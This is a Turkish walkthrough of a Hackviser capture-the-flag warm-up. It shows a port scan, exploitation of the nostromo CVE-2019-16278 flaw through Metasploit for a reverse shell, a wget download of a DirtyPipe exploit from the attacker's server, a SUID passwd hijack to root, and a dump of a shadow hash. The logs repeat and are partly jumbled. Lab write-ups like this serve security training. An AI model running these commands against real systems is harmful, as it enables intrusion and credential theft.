

## GLITCH ISINMASI

**INFO:** Bu alıştırma, yaygın olarak kullanılan nostromo web sunucusunda zafiyet araştırmacılığının nasıl yapılacağını ve linux tabanlı sistemlerde yetki yükseltme saldırılarının nasıl yapılabileceğini öğretmeye odaklanır.

Bir web uygulamasında zafiyet tespit edilmesi, zafiyetin istismar edilmesi ve linux çekirdeğinden kaynaklı yetki yükseltme saldırıları ile ilgili alışırmalar yapmak için önerilir.

### 1. Hangi portlar açık?

**Bilgi:** Önce “nslookup” komutu ile “ip adresi” öğrenilir, ardından nmap atılarak port taraması gerçekleştirilir.

```
[root@hackerbox]~# nslookup http://goldnertech.hv
Server:         172.20.4.1
Address:        172.20.4.1#53

*** Can't find http://goldnertech.hv: No answer

[root@hackerbox]~# nmap -p- 172.20.4.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 11:12 CDT
Nmap scan report for 172.20.4.1
Host is up (0.00012s latency).
Not shown: 65514 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
```

### 2. Çalışan web sunucusunun adı nedir?

**Bilgi:** Terminal veya komut satırında “curl” komutunu kullanarak sunucunun yanıt başlıklarını inceleyebiliriz. Bu komut, hedef web sitesinin yanıt başlıklarını gösterecektir. Server: satırı, web sunucusunun adını ve bazen versiyonunu belirtir.

`curl -I http://siteadresi.com`

```
Nmap done: 1 IP address (1 host up) scanned in 19.34 seconds
[root@hackerbox]~# curl -I http://goldnertech.hv
HTTP/1.1 200 OK
Date: Wed, 11 Sep 2024 16:23:19 GMT
Server: nostromo 1.9.6
Connection: close
Last-Modified: Fri, 13 Oct 2023 07:26:31 GMT
Content-Length: 529
Content-Type: text/html
```

### 3. Güvenlik zafiyetinin CVE kodu nedir?

**Bilgi:** msfconsole'da araştırma yapılır ve “CVE kodu” bulunur.

```
[root@hackerbox]~# msfconsole -q
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
msf6 > search nostromo

Matching Modules
=====
#  Name                                                                 Disclosure Date  Rank  Check  Descr
--  --
0  exploit/multi/http/nostromo_code_exec 2019-10-20     good  Yes    Nostr
omo Directory Traversal Remote Command Execution
```

“info” komutu ile bilgi alınır.

```
Description:
This module exploits a remote command execution vulnerability in
Nostromo <= 1.9.6. This issue is caused by a directory traversal
in the function 'http_verify' in nostromo nhttpd allowing an attacker
to achieve remote code execution via a crafted HTTP request.

References:
https://nvd.nist.gov/vuln/detail/CVE-2019-16278
https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html
```

#### 4. Linux çekirdek sürümü nedir?

**Bilgi:** Linux çekirdek sürümünü öğrenmek için öncelikle exploiti entegre etmemiz gerekiyor.

Exploiti entegre edip “uname -r” komutu ile öğrenebiliriz.

- **RHOSTS:** Hedef makine (Nostromo sunucusu) IP'si: 172.20.1.1
- **RPORT:** Hedef port (varsayılan HTTP portu): 80
- **LHOST:** Senin makinenin (saldırganın) IP'si: 172.20.1.135
- **LPORT:** Ters bağlantı için kullanılacak port: 4444
- **Payload:** cmd/unix/reverse

```
msf6 exploit(multi/http/nostromo_code_exec) > exploit

[*] Started reverse TCP handler on 172.20.1.135:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_bash command payload
[*] Command shell session 1 opened (172.20.1.135:4444 -> 172.20.1.122:48470) at
2024-09-11 12:17:16 -0500

uname -r
5.11.0-051100-generic
```

#### 5. "hackviser" kullanıcısı için /etc/shadow içindeki parola hash değeri nedir?

**Bilgi:** Yetki yükseltmemiz gerekecek çünkü dosyayı okuyamıyoruz.

```
cat /etc/shadow
cat: /etc/shadow: Permission denied
www-data@debian:/usr/bin$ cd /tmp
cd /tmp
www-data@debian:/tmp$ wget http://172.20.1.127:1337//exploit-2.c
wget http://172.20.1.127:1337//exploit-2.c
--2024-09-14 07:12:48-- http://172.20.1.127:1337//exploit-2.c
Connecting to 172.20.1.127:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7752 (7.6K) [text/x-csrc]
Saving to: 'exploit-2.c'

exploit-2.c      100%[=====] 7.6KB/s
2024-09-14 07:12:48 (49.6 MB/s) - 'exploit-2.c' saved [7752/7752]
```

Yetki yükseltmek için <https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/blob/main/exploit-2.c> “yı kullanacağız.

Öncelikle makinemize kodları kopyalayarak dosyayı oluşturalım. Bundan sonrasında hedef makinemize bunu yükleyebilmemiz gerekecek, bu yüzden de makinemizle server ayağa kaldırıyoruz.

```
[root@hackerbox]# cat /etc/shadow
cat: /etc/shadow: Permission denied
www-data@debian:/usr/bin$ cd /tmp
cd /tmp
www-data@debian:/tmp$ wget http://172.20.1.127:1337//exploit-2.c
wget http://172.20.1.127:1337//exploit-2.c
--2024-09-14 07:12:48-- http://172.20.1.127:1337//exploit-2.c
Connecting to 172.20.1.127:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7752 (7.6K) [text/x-csrc]
Saving to: 'exploit-2.c'

exploit-2.c      100%[=====] 7.57K 0.0-0.0KB/s 1337 in 0s
2024-09-14 07:12:48 (49.6 MB/s) - 'exploit-2.c' saved [7752/7752]

[~]
#python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) Feb 14 23:33:21 UTC 2024
x86_64 GNU/Linux
```

Ardından hedef makinemize geçerek yetki yükseltme işlemlerine başlıyoruz. Exploit-2.c dosyasını hedef makinemize indiriyoruz.

**Komut açıklaması:** Linux veya benzeri Unix tabanlı sistemlerde gcc (GNU Compiler Collection) derleyicisi kullanılarak C dilinde yazılmış bir dosyayı derlemek için kullanılır.

- *gcc: C dilinde yazılmış kodları derlemek için kullanılan komut.*
- *exploit-2.c: Derlenmek istenen kaynak kod dosyasının adı. Bu dosya, C dilinde yazılmış bir program içeriyor.*
- *-o exploit-2: Derlenen programın çıktı dosyasının adını belirtir. Burada, derlenen dosyanın ismi exploit-2 olacak.*

```
cat /etc/shadow
cat: /etc/shadow: Permission denied
www-data@debian:/usr/bin$ cd /tmp
cd /tmp
www-data@debian:/tmp$ wget http://172.20.1.127:1337//exploit-2.c
wget http://172.20.1.127:1337//exploit-2.c
--2024-09-14 07:12:48-- http://172.20.1.127:1337//exploit-2.c
Connecting to 172.20.1.127:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7752 (7.6K) [text/x-csrc]
Saving to: 'exploit-2.c'

exploit-2.c      100%[=====] 7.57K 0.0-0.0KB/s 1337 in 0s
2024-09-14 07:12:48 (49.6 MB/s) - 'exploit-2.c' saved [7752/7752]

[~]
#python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) Feb 14 23:33:21 UTC 2024
x86_64 GNU/Linux
```

Ardından yetki yükseltebileceğimiz SUID dosyalara bakıyoruz.

```
www-data@debian:/tmp$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/passwd
/usr/bin/newgrp
```



Herhangi birini seçerek yetki yükseltme işlemini tamamlıyoruz ve istenilen dosyayı okuyoruz.

```
www-data@debian:/tmp$ ./exploit-2 /usr/bin/passwd /tmp/sh
./exploit-2 /usr/bin/passwd
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh)
# whoami
root
# tail -n 2 /etc/shadow
tail -n 2 /etc/shadow
hackviser:$y$j9T$/tk8y1jwJS53UNF04kyhV/$Bk4HShA1YFpsI2X00S/aePEBRJe.CBz3kptqrqAg
kmQ:19643:0:99999:7:::
#python3 -m http.server 1337
```

-ISINMA TAMAMLANDI-

## Tebrıklar

SweepingSpeedball56 Hackviser'ın Glitch ısınmasını başarıyla tamamladı